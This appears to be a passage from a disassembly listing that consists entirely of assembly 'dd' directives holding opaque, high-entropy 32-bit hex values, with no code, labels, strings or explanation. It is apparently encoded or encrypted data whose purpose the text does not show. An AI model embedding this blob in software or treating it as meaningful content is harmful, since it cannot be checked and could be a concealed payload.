		dd 0D94990AEh, 0A7133A25h, 0E8825F9Bh, 0CD719ABBh, 6472CE00h
		dd 0E1C98Ah, 9DAEEE08h,	6CC1802Ch, 0D391F54Eh, 0F72B0168h
		dd 6549A083h, 0CA1158F8h, 0DAEC3DC0h, 26E0C402h, 0FF662400h
		dd 290FC781h, 822BE774h, 0CFDD559Bh, 0AF26605Bh, 1B27DAF7h
		dd 4A4462h, 0D3301596h,	0C884030Bh, 0D0316502h,	575D34FDh
		dd 2B98FFC6h, 4E307D20h, 3922DD5Bh, 8BDA821h, 19358529h
		dd 214DBB00h, 0B95214C8h, 56C184F6h, 0D6B3AE98h, 4B7B804h
		dd 5314E0D2h, 213BBF01h, 505B7DD6h, 9FD5A82Eh, 0DDE1DE6h
		dd 0F7B374BEh, 2BF8313Eh, 0AF68C790h, 2DEC254Eh, 501DEA70h
		dd 5CE5F34Dh, 1D46D6CEh, 431F5307h, 0F38BD0D1h,	0B94E5F21h
		dd 0B880AD8Ch, 5EE9779Bh, 9E25DE01h, 0C54A2DCFh, 2FB2E5EEh
		dd 34182100h, 4CB6E04Eh, 0D3A90B9Dh, 3AAAD9E0h,	0BFABF34h
		dd 0B9DF1D1Bh, 0C57E0946h, 2C28BA08h, 7A0A9B06h, 492CDAFDh
		dd 9949673h, 0A5E7EC5Eh, 4B1DE3FFh, 0B53550C7h,	0BCB725AAh
		dd 54FA1DD1h, 0C1794DAFh, 2E34418Bh, 0DEC062ECh, 5F1DA68h
		dd 5250C712h, 2D0A88h, 248539CFh, 3BC5B77Fh, 0E6310F2Fh
		dd 691A9539h, 0BDAD2FDh, 39191225h, 70C0FDEDh, 5EABA57Bh
		dd 40F6E3CFh, 0CA960DCFh, 0D720A94Fh, 0DBF6B86Eh, 63BCCA26h
		dd 0EBD1006Eh, 7079A60h, 0DC3AA07Ah, 0A9FC22BFh, 0F51E63D7h
		dd 7E053583h, 97713D2Fh, 0A51047A5h, 0F10020F9h, 7B3A095Fh
		dd 4F9B8627h, 0D51AC87Ch, 9F403B05h, 24FEB0E7h,	0B89DA918h
		dd 0B40F4873h, 6AB7B55Eh, 0F3FCEBEDh, 1E2D6D02h, 57F53C0Ah
		dd 0F6616484h, 0BC77E0E7h, 0F56D09EBh, 22D1292Bh, 0A19D0B61h
		dd 0DF52F32Ah, 8962C2E4h, 25570E1Fh, 468EAFE9h,	1B6A2AE9h
		dd 2397200h, 20FED821h,	0BD898C04h, 9EAA2F71h, 0F2EC9672h
		dd 7DE380A0h, 4424149Dh, 56B7530Ch, 5BDA62A9h, 0F54AD296h
		dd 517AEFh, 5FF71A49h, 253CF1BFh, 7D46FF12h, 352D0975h
		dd 0D945F2Bh, 49581F9Bh, 0C9CCE335h, 0EF810226h, 3AE9BCB6h
		dd 0D72D605Eh, 2200D5BDh, 4B9CEBCDh, 10354C83h,	0F54E0122h
		dd 4E206ABEh, 159998h, 17BB50FCh, 8962F4C7h, 6EFF344Bh
		dd 0C5B25BECh, 5ED9FC96h, 0BAB5E7BCh, 938D6074h, 80ECEC2Fh
		dd 796C5C57h, 9DE4B523h, 0CAFD5F5Eh, 589315ACh,	2223DF0Eh
		dd 5701FDBDh, 8F9D4A4Eh, 787A8903h, 4F4F95DEh, 594BA260h
		dd 0BAEC251Dh, 0E97B190h, 48DB8A12h, 3F69C9FFh,	0D3420DB6h
		dd 0DB31EB4Eh, 5FF4ACF0h, 0C21A00F2h, 6BDCB239h, 8997DF3Fh
		dd 70C753FAh, 91003C1Eh, 0C40B3646h, 988D8CABh,	8A9208Bh
		dd 76FC0B97h, 0E400DCDDh, 0A16BFEA5h, 2537D431h, 0B05F34B3h
		dd 851CED2Dh, 0D78C0F09h, 0F504796Eh, 0D1102FA0h, 7A2EA230h
		dd 0E15F3124h, 59B95B13h, 0AE1C9D13h, 1795B99Bh, 0F3858CC5h
		dd 0D5204E93h, 0F697DACBh, 7CAE00DFh, 2F2599E8h, 6958FD4Fh
		dd 0D44B0970h, 61A77611h, 7AC72B3Bh, 0BB5033DDh, 0E76DBD31h
		dd 0B03F5B59h, 1B41C9D9h, 0B691D720h, 302D623Fh, 40276F5Fh
		dd 0A1FDD74Ch, 44F89327h, 0F47B021Eh, 0BEADDB75h, 0BD40AFFCh
		dd 0BFB08Fh, 7A0B3CD8h,	0C0D249ECh, 0AACDE02h, 5E5F8D12h
		dd 103251C4h, 5B85360h,	7E64F037h, 1FACE25Fh, 55400A32h
		dd 972C7A4Bh, 2A5E00B4h, 8A25F2E0h, 29276AA0h, 40484261h
		dd 3B735357h, 0B0CE43CDh, 52BF9D56h, 2CF19DE5h,	0FBFB9754h
		dd 0FF192A09h, 11567C9Ah, 661D1D10h, 0F7F192BBh, 0F6A4EDEh
		dd 69F91107h, 0B353F129h, 0AE6B3AE2h, 61001C23h, 5AFC9F4Fh
		dd 0C6221243h, 1CECF330h, 9569D29h, 2B1738BFh, 0D11E4BD3h
		dd 40D59C22h, 0E01170B2h, 998D1302h, 0F7169B10h, 928087ECh
		dd 64B72FBDh, 8D89097Ch, 0E1790E29h, 0F51D4E9h,	8B65C5BDh
		dd 7CDEEFF2h, 0B99BC982h
		dd 220A3902h, 0D750319Dh, 2D5B563Fh, 6537C1h, 0D1E7368Ah
		dd 7B0AD3E0h, 636561FEh, 2ACD4A7h, 4616BC14h, 4DE91C74h
		dd 0A05D49D9h, 6623EF19h, 0EEB205BFh, 0AF05B501h, 90C8A657h
		dd 786901F6h, 562233D3h, 0FB7EF07Bh, 0B1020BF4h, 5C9FEF4Fh
		dd 0AC077D14h, 345E3256h, 8035D15Fh, 8AE43885h,	0F5951049h
		dd 2970968Bh, 0FAAFA4B7h, 9DCDF113h, 16B5901Ah,	199C47BAh
		dd 23C669C3h, 9700BE79h, 0A9AD9C75h, 95FB8B51h,	7904E487h
		dd 9F4945Ch, 898D293Dh,	375A595Dh, 7AB7E35Ch, 6D2404E1h
		dd 1BAB8E1h, 47EE13EBh,	6F388ED7h, 0B1BC61EDh, 0EA66EF2Fh
		dd 1A76951h, 0A24EF86Ah, 2E9AAD55h, 2F7AB56Bh, 4BC00E9Eh
		dd 19074FD9h, 9B7AB812h, 8BD1FD02h, 51605EDFh, 5C0266Dh
		dd 26A7629h, 3849578Ch,	0BADE72A4h, 5290B331h, 202F0C21h
		dd 0DA786A21h, 8362063Eh, 0E7E68EFDh, 0ED7BD041h, 2B011DBBh
		dd 905F8904h, 65DD391Ah, 4BB3A667h, 2F426FCh, 0BD29D3CFh
		dd 490E3459h, 0CF5B7964h, 0CD255168h, 3701C0A6h, 0F3F88656h
		dd 817B481Dh, 0A309D317h, 7061FB6Ch, 24B089D9h,	0FFF71A4Ah
		dd 40711350h, 0BF0F9016h, 297F7048h, 531A2F50h,	6180A19Bh
		dd 7C5033E9h, 32B62A26h, 52885806h, 0AB92070h, 6BBB5F4Eh
		dd 1CB4716h, 952957DFh,	9B3D1F05h, 0BF264D17h, 0D97A5729h
		dd 239B425Bh, 9122375Dh, 0AC3B8219h, 165A54B1h,	0C307A6Ah
		dd 0C010F976h, 0E21C48E5h, 0F0A70ECDh, 0CA02C6Dh, 45B730D9h
		dd 4C1C1198h, 2EF91053h, 95F0B030h, 0E68018D5h,	7A91B770h
		dd 47E5E46Bh, 39A9405h,	0D7049685h, 0E2FBE6AAh,	0B4F11CC0h
		dd 0A2ACB600h, 0E628FF18h, 0E4010465h, 0BDD88A71h, 31DC31B0h
		dd 0D52A9D33h, 46B4AB69h, 6330476Dh, 1541A8h, 0EB81C1D7h
		dd 44E6F7E8h, 18778997h, 14DB19h, 3EA10E7Ch, 0A8EE9A81h
		dd 82D0B34Bh, 840F25BDh, 0E8407394h, 0F90882h, 0D2E04AE2h
		dd 8E19A5D1h, 9B5B8A00h, 5DA7B1F3h, 0A88B7DB3h,	0DDC236h
		dd 6EFD72F1h, 221DBF5Bh, 6CE9101Ch, 974EB029h, 334C520Eh
		dd 8AB35D00h, 97BD3152h, 0DD256E7Ch, 0D2F30890h, 29BBCD4Eh
		dd 0F9C80857h, 0F939E927h, 72C6A505h, 0C9554F98h, 59E83AE4h
		dd 16CDF2A7h, 89286557h, 308FAB7h, 0BD093B54h, 0F45E172Dh
		dd 80CAE350h, 0BBB3F88Bh, 47699F80h, 4BA9EB68h,	0B94FCCBCh
		dd 3AE8B65Dh, 7CD6E4BBh, 0E64E22BCh, 7EEEE057h,	201A90A8h
		dd 0FC4E3439h, 7200136Eh, 75743C53h, 0F604FC5Bh, 8D095CEFh
		dd 3E341EAh, 0EAD9Dh, 748AC02Bh, 0BFD202FDh, 38F874DCh
		dd 73DAD45Ch, 888A518Bh, 2A0FE5D6h, 0F6164A94h,	855E7EACh
		dd 9796C38Ch, 1A557E32h, 7E6075E4h, 769703D8h, 1389C2A8h
		dd 53503B1Dh, 75FC1Bh, 0F40DC726h, 0AE749F17h, 85454B03h
		dd 0B180D6B8h, 6721F387h, 62A4F420h, 2F3DD25Bh,	0FD09320Ah
		dd 71795E11h, 80F72E96h, 4E5C17B2h, 1B46D4h, 0D59DB01h
		dd 482869C6h, 5A788352h, 0B4EEEC08h, 0CEC004DAh, 0A1A659E2h
		dd 0E1FFE613h, 0F6B820FDh, 3D6FB401h, 0FD7BE89Eh, 0E056282Eh
		dd 0C1BA76B5h, 0C0083381h, 0AA03EABAh, 36D5CA83h, 1651DA18h
		dd 7604DB27h, 4D00F463h, 0D635A07Bh, 0A8BCB8BBh, 7B370643h
		dd 2482B8C5h, 765E14h, 8F72FB69h, 0FD27B501h, 71AF741Dh
		dd 1CC80F5Ch, 858D4C0h,	12C8EC8Fh, 4E1714Ch, 4171149h
		dd 0F3F4810Fh, 50C1B750h, 34843E5Fh, 753213CDh,	0AD99E000h
		dd 0E27565C4h, 7FD26E01h, 5B53DF15h, 92D4D56Bh,	115D099Bh
		dd 0F82AF828h, 29AA5B9h, 837ED2DDh, 0AE843DEAh,	5F603A72h
		dd 267387B3h, 0E93B769Fh, 0D3911A00h, 125B8B0Fh, 2102B6E7h
		dd 15C0EFEAh, 0B511D0D7h, 8902026h, 9F20504Fh, 71A15F59h
		dd 0D4E1005Dh, 0B56EAFE7h, 45028B06h, 0D8D781C5h, 7ACD7F90h
		dd 5496EDC2h, 0E229647Eh, 85011241h, 6A9482ABh,	2DE6FFEh
		dd 398068CAh, 1A57B34Bh, 9E0F88Ch, 4CD3CA7Fh, 4FB9E4B7h
		dd 0E6F1C4C7h, 0DA2AFB8Bh, 0C917C893h, 9E595855h, 0AA94095h
		dd 0F524924Dh, 45080AFAh, 4B9240Bh, 0BA3591BDh,	0CDFB0575h
		dd 2826095h, 0F24C9Dh, 0A53FD16Ch, 4B10A967h, 0ECF8775Eh
		dd 4BDF00AAh, 1BE75084h, 17EA17B9h, 49450405h, 0A74BA15h
		dd 0A168Ch, 557036FDh, 0E758C953h, 4D789304h, 0E6BBEA08h
		dd 9016A224h, 0AC22F4Ah, 758D013Ch, 0FA8B8B93h,	0A7D3B55Dh
		dd 3B0648CCh, 59062301h, 80D176E2h, 0C41E6EBFh,	56FF41CCh
		dd 0DDDCB059h, 0FC509F3Bh, 0CDA3B395h, 2D45A1EBh, 5BB8DBh
		dd 333754FBh, 30AC0C66h, 40FA9095h, 2B120ED0h, 4660EC3Ch
		dd 29A9E1B8h, 0C5758524h, 0E4095B8Eh, 0CFB91ECDh, 0F83A44Bh
		dd 6FF2314Ah, 0F6493804h, 8A82AE92h, 0FA5BE050h, 946774B6h
		dd 0D2E42C7h, 0C31CD457h, 6C859ADh, 97F0349Dh, 0C211FF25h
		dd 0DA6EFBDEh, 8B7DFC57h, 0F4021CFBh, 1C5D24E9h, 23BF060Dh
		dd 0B85FE52Bh, 0C31BDF78h, 0D0598B60h, 0F8FE58BBh, 0E0BD902Bh
		dd 89DD378Ah, 0BD65DF1Fh, 5BE7BB05h, 0D3B5311Dh, 0B7DD2026h
		dd 0FD4E8AFBh, 0AB5C2DFCh, 69AF1880h, 59259777h, 0E4ACC7C1h
		dd 0EA38601Bh, 8E0A0EA0h, 0F8F90EF5h, 89ED3A09h, 998D31C3h
		dd 4C06B54Ah, 7E7CAA1Eh, 5006B59Dh, 0DB091A53h,	5E5F115Ch
		dd 20CD7AA5h, 0A6FDFA60h, 22DD1E0Dh, 96D6650h, 1F481191h
		dd 1C971F75h, 0E14970ACh, 0B867B92Bh, 223A3AE6h, 0C9BD038Ah
		dd 0E17AB98Ah, 0A09AF72Fh, 4BE78027h, 0E9EA8E8Ah, 96809A2Ah
		dd 45392404h, 2B58F1AEh, 8B9CBD28h, 0DCFA2029h,	57048C62h
		dd 0B340FCEFh, 5E21DFFh, 0DA7AC146h, 0F1738180h, 89990516h
		dd 1A192541h, 0A0F1BC2Ah, 9DBE6AF3h, 0BB02FF7Bh, 0FF53E7A5h
		dd 920B784h, 8502715Bh,	0AB87C780h, 0C7F034E7h,	7A263DF3h
		dd 7C65992Eh, 0ECDBD5FAh, 37858084h, 48A2FFAh, 0E4C9C722h
		dd 36BDAA55h, 0D2B6B260h, 5158505Bh, 52C4C0EBh,	5E7481Fh
		dd 0C8D7B183h, 139EAF5Bh, 3FE4B4D7h, 0C8B70C00h, 9D23A4DEh
		dd 0AE2A52C9h, 99643092h, 2E393D3Fh, 5D292F83h,	1915F035h
		dd 7ECE899Ah, 52F54586h, 0BEDEFACBh, 0C21B7A80h, 0C79AB3F0h
		dd 4EE2D058h, 612109EAh, 0BB1ED573h, 0E381C900h, 979A1443h
		dd 0B5EB0D7Eh, 58E80079h, 21419D0Bh, 0D39AEE9Dh, 9384AA18h
		dd 6E4AB9ACh, 38D90E86h, 0B55E60C8h, 19A6A076h,	25018F0Fh
		dd 0B9122EF8h, 0FAB8ABADh, 0A8F7EB4Ah, 0AC9CE95Fh, 63FE1C6Dh
		dd 0CCC62532h, 0E2EDF95Ah, 0A216E6A4h, 84F9F110h, 0EBD98B50h
		dd 22CF90DEh, 1EA9CE0h,	6EE1B59Dh, 9ABF8F8h, 516487E6h
		dd 37DC01B7h, 0ECAB9C4Bh, 4D00EF2Dh, 750B8DA5h,	131620A8h
		dd 0B3177682h, 0E5B33870h, 0E1FE85BCh, 70F23AB4h, 0E60235A8h
		dd 69CA5FDCh, 51BB5C84h, 95881673h, 2340BF79h, 7E0AF0h
		dd 32062AACh, 4A046F85h, 4557F209h, 77C2FDA9h, 0EEE0A54Dh
		dd 1158F508h, 309E943h,	5456D56Ah, 941A90A0h, 820F146Fh
		dd 89255320h, 5F193ADDh, 7AE6E2A1h, 753AD8B9h, 197E4105h
		dd 0FBC0EDB1h, 58B5EA67h, 0EBA0255Fh, 997E9CAh,	480D71CDh
		dd 350D08C5h, 45DF8100h, 9D700A7Ah, 56C9677Ch, 274AD42Eh
		dd 6E8C76EAh, 38BFFD4Bh, 0C2E19E05h, 73885BFFh,	9D33D2F8h
		dd 742A4927h, 1D5C5A58h, 173800D4h, 4E708943h, 0BF4E6664h
		dd 5D7888h, 9EB927F4h, 39A8440Ch, 0C8F5F800h, 695EE56Ch
		dd 87789FD0h, 9B81F2BEh
		dd 23BDF35h, 2783B23Bh,	40A86FC6h, 0FC86FE46h, 50F27325h
		dd 670B9597h, 45A36F57h, 77A86214h, 1D0BD7A4h, 0E95B584h
		dd 0F1E1121Eh, 0B874394Dh, 4572907Bh, 80637810h, 3D560CB0h
		dd 0F2710F3Fh, 0FF224F2Ch, 21F1C18Bh, 0CAC99F12h, 1F25FAEEh
		dd 38595FD6h, 0E9E10156h, 0D2757433h, 0B63F3903h, 0E084F61Ah
		dd 0D7A94Fh, 20A2F25Eh,	6E0E238Dh, 0E0F2C750h, 862F4D00h
		dd 0F479FB2Ah, 0C5B70058h, 0C6E8C28h, 0A20FFC61h, 1E65AFEFh
		dd 512B07FCh, 131CCAC7h, 90581D4Ah, 0D2A00732h,	5CC410DFh
		dd 74003130h, 9549087Ch, 99F86h, 0A2FAB7Bh, 0BB51C372h
		dd 9601B977h, 0C62B441Eh, 0CBCD5009h, 0E5BF2C4h, 935F4530h
		dd 8D854140h, 0AD7A370Fh, 23BD38C0h, 0C3F32E6Eh, 0CDBCE628h
		dd 4703378Eh, 6977CF5Dh, 0C01F9ADFh, 0E34E43FDh, 0C33F2F80h
		dd 1A534A79h, 0F2AFE700h, 58E13AECh, 0C45A00E5h, 0D6A4486Ch
		dd 0A970430Eh, 447536F2h, 90E80F01h, 0DC9CB31Dh, 5DB4C0h
		dd 0EC1007DFh, 4749B4Dh, 2DCF6900h, 23ABD165h, 0D96F0009h
		dd 0FD98B64Fh, 0FF01E3ADh, 0FCA5F931h, 92403DE1h, 1FB554B8h
		dd 84679C64h, 0C962DA84h, 0AA8109Bh, 441C981Ah,	0C55B4B3Eh
		dd 4EDF9936h, 2AC831E0h, 18AD8A79h, 2064B8FAh, 0B2605BBDh
		dd 54C5C2B6h, 0EFE35Dh,	58EDB71Ah, 0CF2BFE7Bh, 0E404FC1Fh
		dd 9062844Bh, 4A4057h, 7E08D4A6h, 993DBFD6h, 2F0B8900h
		dd 0C915678Bh, 1795008Dh, 481482CFh, 1D3AD5A7h,	789C80F1h
		dd 2BC17302h, 1EA43C49h, 4439DC03h, 4DF06CEFh, 0C700551Ah
		dd 298D657Fh, 31AC7004h, 9444A12h, 2E75E87Ch, 0E3245F00h
		dd 1D31E54Dh, 0B4380169h, 63235E68h, 0ADC68007h, 73D361F7h
		dd 0A62E00B8h, 8D17EF91h, 900039A5h, 3ABBC154h,	27C9Eh
		dd 0FE809622h, 0E38AB626h, 97BE3614h, 0EB7300B6h, 0D8EA3ABAh
		dd 48DD2A10h, 92E56081h, 992F49E3h, 0E709450Eh,	0E80CE195h
		dd 0BB80B541h, 83F91CB8h, 0B30146F2h, 0D16B75C9h, 7F25E0A0h
		dd 78672C4h, 0BC800212h, 0B859000Ch, 0B8A0DA38h, 0ED8B3BB6h
		dd 0AA4D8020h, 977200D2h, 528DC7Dh, 4452FE77h, 3E9912C8h
		dd 811D0040h, 0C0FABAF7h, 0A0881A6Dh, 59009D3Ch, 1B3312CCh
		dd 0C57A5C5h, 5FD8289Bh, 0F2A416F0h, 0A44AAC00h, 0EE36B4ECh
		dd 0E1A131D0h, 4071334Bh, 37C5F1BEh, 0DDF94500h, 981C7539h
		dd 7AAAA10Ah, 1413CC0h,	0D34CAE4Fh, 24D80CADh, 91013D92h
		dd 5B25CA80h, 894E79C5h, 0DF48EB00h, 0ADD9544Dh, 5937B507h
		dd 3DA0FB4Bh, 6B243h, 0CBBA8AF4h, 2873AEC9h, 16968F04h
		dd 48C082CEh, 157B30h, 0FD178674h, 0FF039A5Ch, 55FEFC00h
		dd 0A3DD7398h, 0B3410043h, 0BFB95347h, 70039A36h, 46E87406h
		dd 1EDA9834h, 64F600C2h, 6B8ECA1Ah, 6A501227h, 0AA004CB3h
		dd 0F51B0CD0h, 27C9054h, 971368FEh, 0A98029CFh,	0F812D677h
		dd 52F77E01h, 8C1A2272h, 0B05733C5h, 1D587DF9h,	99ADEC18h
		dd 4B3F65E4h, 3993EAE7h, 0D6DA0E9Ah, 1F126FCBh,	0A6344E4Fh
		dd 4288148Ch, 0A749A0Ch, 509BCE2Eh, 0A8BF8Ah, 82C65440h
		dd 1898096Fh, 0F848AC60h, 618614AAh, 77A98BEh, 891B8087h
		dd 0E2B9851Bh, 0C9FB13A2h, 2EDE0023h, 5366FDD1h, 0B5478B03h
		dd 75BCFCh, 0E24E5430h,	2F5AAA1Fh, 0A70ED8D6h, 20822C4Ch
		dd 12DE3DC4h, 0EB97904Bh, 0D797BAB3h, 9C6D7A90h, 1543C48h
		dd 76CED4B0h, 11800F8Fh, 0C3FDE06h, 0DA126CFBh,	684207A7h
		dd 4075AD09h, 607BCCEAh, 15AF5D8Fh, 25C11C9Ch, 4042AEF4h
		dd 40F1AE4Ch, 0E31EC193h, 0DC80B703h, 0EA592EBCh, 0E2C5EAB2h
		dd 4FB6C93Ch, 0F0313C87h, 0A478FA10h, 0ED831A00h, 0C90DE845h
		dd 2CDD0C15h, 6B2EB18Fh, 65B93B13h, 0C65D3D20h,	57D3001Dh
		dd 2A4A4142h, 6037783h,	0F18B6B12h, 0BAD8380h, 4AC8D83Ah
		dd 16248820h, 9614C964h, 0CA0C9Bh, 30664D35h, 55A9FBh
		dd 5DA1D379h, 479FDD71h, 28330B4Dh, 0FF26D5C2h,	0F5251904h
		dd 75C718C0h, 2877ED01h, 0FE44E9BBh, 125A844Ch,	384F64h
		dd 6115D427h, 54039450h, 5C66BE3Ch, 0E8E4F0CEh,	0DB042h
		dd 0A77FF913h, 35D28C19h, 5EDFDB00h, 93E90DC9h,	51B0B3h
		dd 98F74208h, 4F178732h, 0C1F2574Ch, 989F87Eh, 0BE8B6CDh
		dd 920F1899h, 0A0021112h, 310063ECh, 0FB85591Bh, 0F2C3BD53h
		dd 6C2C3265h, 0AA40A427h, 0FC091480h, 8471A67Eh, 45C17A27h
		dd 98E062BCh, 2CE4F095h, 80DFDD49h, 0C61DB75Fh,	0A01D14DCh
		dd 0A30BE88Ah, 4046760Ch, 2C823BD2h, 37178B02h,	5FFBC921h
		dd 0E5DD456h, 1C104D41h, 0E5C4242Ch, 0ED32C581h, 680CD00Fh
		dd 142F7A71h, 550FE0F3h, 0B1C11CFh, 44060050h, 835E10h
		dd 613501E8h, 53E396Ch,	0C5374200h, 58C289A7h, 33EC5181h
		dd 54C624E5h, 0A0A20A6h, 4825685Bh, 0A921B037h,	7C0FB477h
		dd 4E08438Fh, 120A746Bh, 0E2FA1C8Bh, 0C838C24h,	5C1EC387h
		dd 5AA234FFh, 41085C5Fh, 2016FAE9h, 0B809F051h,	7DEE6441h
		dd 9E00EF5Ah, 0E12918ABh, 4308B2h, 0DE3EBD7h, 5049E6B8h
		dd 300079FCh, 3454D53Bh, 3DE47C69h, 0F852D3h, 0B9BD4B77h
		dd 9ACA1978h, 0CF477507h, 1CF0E098h, 14F845Ah, 614B919Ch
		dd 0D03F078Ah, 682D26B1h, 38D0462Eh, 90CF9D03h,	50FD8AB0h
		dd 70806BE9h, 5F49561Fh, 0E85AE96Ch, 6A5F073Ch,	19359D89h
		dd 8014CC6Bh, 0F8666D7h, 69D567BFh, 56F5F4Ah, 0E5EB5144h
		dd 0B0EC2E04h, 8F19DC7h, 22BF500Eh, 7F533739h, 0F94B085Ah
		dd 92C39EEAh, 94E01ABh,	45200D85h, 380EFA70h, 293FF049h
		dd 8E0BFFCEh, 0F4CFDD61h, 9BB0DE0h, 5FD7382Eh, 0E1C85793h
		dd 0A8A3A52h, 22758962h, 2F948608h, 12D13144h, 0E82F2B41h
		dd 77B0B2A8h, 0F78E73BDh, 0E45800F6h, 27FDBDAAh, 80D59A9Fh
		dd 8D890270h, 0B5B3D261h, 0CAC57EEAh, 0D48078BCh, 0C5AB4B84h
		dd 48B85B5Ah, 0D0254EB6h, 0A3E4D761h, 301CC300h, 9F6096B0h
		dd 22FC00C7h, 77203B9h,	0FD2DA4C2h, 0DD44A0h, 0D496FC7Bh
		dd 772EE9B2h, 23E64202h, 799CAA3Dh, 0AF6600DEh,	61BC75B7h
		dd 1EADBB04h, 6BFB5B5Fh, 152360h, 0D98AD623h, 0DE9DCEE9h
		dd 66E158DEh, 0D33DB5h,	0A8484A5Ah, 7409651Dh, 0D6F853FCh
		dd 3366CB25h, 9F033522h, 315CCF5Ah, 0DC122786h,	8B5D524Ah
		dd 74C5DDC4h, 0E1530B1Fh, 5A9D0CA4h, 0BBF91201h, 1D8AC2DAh
		dd 84FC4067h, 0DF029D33h, 0B6DB48D3h, 8D298E5h,	9FEE019Bh
		dd 0A7CBA145h, 80C43C47h, 9C5B5588h, 0BB02019Bh, 6A45C334h
		dd 61D2AFFh, 0F1AAB512h, 0D357E20Dh, 1D3411B3h,	0DC67BD89h
		dd 8B794B61h, 0FECB8180h, 317BF147h, 65F870E6h,	73B83F31h
		dd 5FC8E78Eh, 2F570946h, 0BBDEE0B3h, 11DD36B1h,	50BA5B01h
		dd 7541DF2Fh, 8B4C510Ch, 2DEF4EC1h, 3F43AEE7h, 1A3E0E78h
		dd 0AC20CFEBh, 8728E4h,	0FAAEB506h, 25439360h, 334505B5h
		dd 0B29D208h, 477C82Bh,	8B051DB4h, 5F6F2D1h, 1A2960B0h
		dd 2B3E4C80h, 1E350778h, 0E9A9C742h, 7ED98957h,	0C1FE49DEh
		dd 56142540h, 1CE600F5h, 0BEB1F805h, 0C81F06E0h, 0C5C54FC7h
		dd 2CBA840Fh, 0F4B75B08h, 541240C8h, 1B56FCCh, 4947555Fh
		dd 8D38040h, 0E72978Eh,	77C612C1h, 14B861D1h, 145B8C5Ah
		dd 5E79A4A6h, 787D5B24h, 72FA6915h, 80234261h, 356A7BEBh
		dd 29E3AE66h, 44742E28h, 9E7BCB07h, 82614A9Dh, 0D45BDBA6h
		dd 90AECC6Ch, 114A1E4h
		dd 40649589h, 71B78DF8h, 0DA996293h, 0D4B05612h, 624F1B7h
		dd 687126F7h, 0D50B2D25h, 0DC805F3Dh, 0EC218E7Eh, 0CE9097DEh
		dd 2600E97Ah, 3A57B103h, 5E23ABB9h, 5F81CC70h, 1629DCF3h
		dd 0DC15F4B7h, 0BBCDB195h, 5B81660h, 0F49E7133h, 0F8C8AA09h
		dd 0B05BB9h, 0A3B3BB31h, 0F6975C1Bh, 2FFB9D01h,	7770FB53h
		dd 0DFE700C4h, 5BD3C0BDh, 36EB2B62h, 7F9BF0CAh,	0B85804A4h
		dd 84C247B3h, 92371D51h, 0D79CBF8Dh, 0C9A7002Dh, 0ACDBAE84h
		dd 9800CD51h, 27E80A02h, 0B57CD2ADh, 847308ABh,	0B656778h
		dd 99F06836h, 5902BB64h, 0ACC1C05Bh, 37CD5D97h,	0BDA9DD2Fh
		dd 442D22F6h, 0EF2EB011h, 7823292Bh, 0D3F980C3h, 4CF8C5A2h
		dd 66007AF1h, 0BFFE91A4h, 685AE386h, 813830EFh,	775AD7C7h
		dd 0D7DF16CAh, 0F08FBBDFh, 0EFD61B4Ch, 0B80F9A71h, 807B9F3Eh
		dd 0D787DFB1h, 80100DCEh, 0E8BA6CCBh, 4C9D27B6h, 83134439h
		dd 0D3F7EE17h, 36E70AEh, 0B9008BBAh, 0FF3E627Ah, 7CE7BFE1h
		dd 8A1A5ACDh, 0A9ED34B8h, 8F84B2FEh, 7AEBD2FAh,	0C7620171h
		dd 4F6B8C89h, 968B286Ah, 0E8E07DE9h, 68FA59E7h,	60A24E09h
		dd 8FC0354Dh, 50F31470h, 2FC5BAD8h, 0D05AD21Eh,	2F3797h
		dd 0AA30D6E8h, 0AF007771h, 314C873Eh, 0BF071195h, 0CD27AB7Bh
		dd 0A91B45CBh, 90222C4h, 1249B509h, 9F604E5Fh, 6DDF9889h
		dd 5712E01Ah, 5C25D7E5h, 0DC8E1F8h, 0DA98F510h,	66FE2600h
		dd 0CF555421h, 0A7AC2FF1h, 0F391B65Ah, 74238F80h, 5E64E02h
		dd 0AC148B27h, 368FCF8h, 86443ABBh, 68A2005Bh, 0C7CA10B2h
		dd 13131BBFh, 0AF80538Eh, 4A54F34Dh, 0E0AEF638h, 0E2CDC4D5h
		dd 2C2E093Ch, 3785FDEBh, 7565C1FEh, 0A7A93F0Bh,	1FCA05D6h
		dd 0AB6EC4EFh, 82E04BA7h, 1F0069C7h, 8F8BE019h,	5A5FFC53h
		dd 9C26A829h, 5301C289h, 6ADDD1BCh, 57D47234h, 0BD9560BEh
		dd 25851A71h, 0E7C0D34Dh, 360734Ah, 0DE4ECA92h,	62218152h
		dd 90F527FDh, 1D9B767h,	0B2BF0689h, 2F306374h, 1AA8DFBDh
		dd 0A110C2E1h, 602E0008h, 0BF3A0E87h, 0B265AACh, 0F1020513h
		dd 0D42654E5h, 8B600128h, 1008E9D9h, 3DD39B7h, 1F48A7B6h
		dd 0BA10612Eh, 0F35B353Dh, 7F3B128Ch, 0ACA420E9h, 43B313F0h
		dd 0DE2AE4F1h, 4B47C09Ah, 2E72D8Ch, 0A14473EEh,	0E27EFE8Bh
		dd 18AF6651h, 0C1808271h, 8F60FEAh, 0AB954BEDh,	0DE8BC181h
		dd 2CDBA27Fh, 10376753h, 0B2A26004h, 70AFA900h,	2D09A8F4h
		dd 0D2AB824Ah, 5970546Ch, 5861601Ch, 0B327A3A7h, 98ABC40Bh
		dd 990BC7A6h, 0D069518Eh, 12949FC8h, 658B54BDh,	8044BC90h
		dd 196BF660h, 0ECAB0164h, 741D31A8h, 0ADE86A54h, 6501BF80h
		dd 5B3B78C8h, 20088250h, 779003E7h, 15160D37h, 8E641840h
		dd 93FEBF0Fh, 2DC12EFCh, 2DE5CD4h, 73EB5A94h, 677D10B3h
		dd 0AFBB05F0h, 989AFBCBh, 6D16013Eh, 0B914A412h, 44E20E41h
		dd 1ADE9DC1h, 0AE07E975h, 1A2B1835h, 0F31F502Fh, 31EE0C06h
		dd 399B47BDh, 0D2D30427h, 0A52671D0h, 3E588B5h,	7CB5AFA2h
		dd 0CA81552Bh, 339D7F8Ah, 3CCC17Ah, 0C4303FF9h,	276D3DBFh
		dd 0F2C63B8Ch, 25B29183h, 924C4E5Dh, 0ADFDE5E0h, 0FAC0157Fh
		dd 0FED92880h, 0B03A2D37h, 0F372090Dh, 0BF87F87Eh, 778637Bh
		dd 0B3B001D3h, 9D3329DFh, 4ABC2865h, 0A3A8A5F2h, 0DD06100h
		dd 0A84F34D7h, 0BF66381Ah, 0AA899592h, 9AFAABD4h, 0CAECD5C6h
		dd 5099882h, 0C0BBF532h, 0C4B1877h, 0DBC255F2h,	7B77A611h
		dd 0E14E5288h, 7493B00h, 0A640EC23h, 0E3174EAAh, 13FB5045h
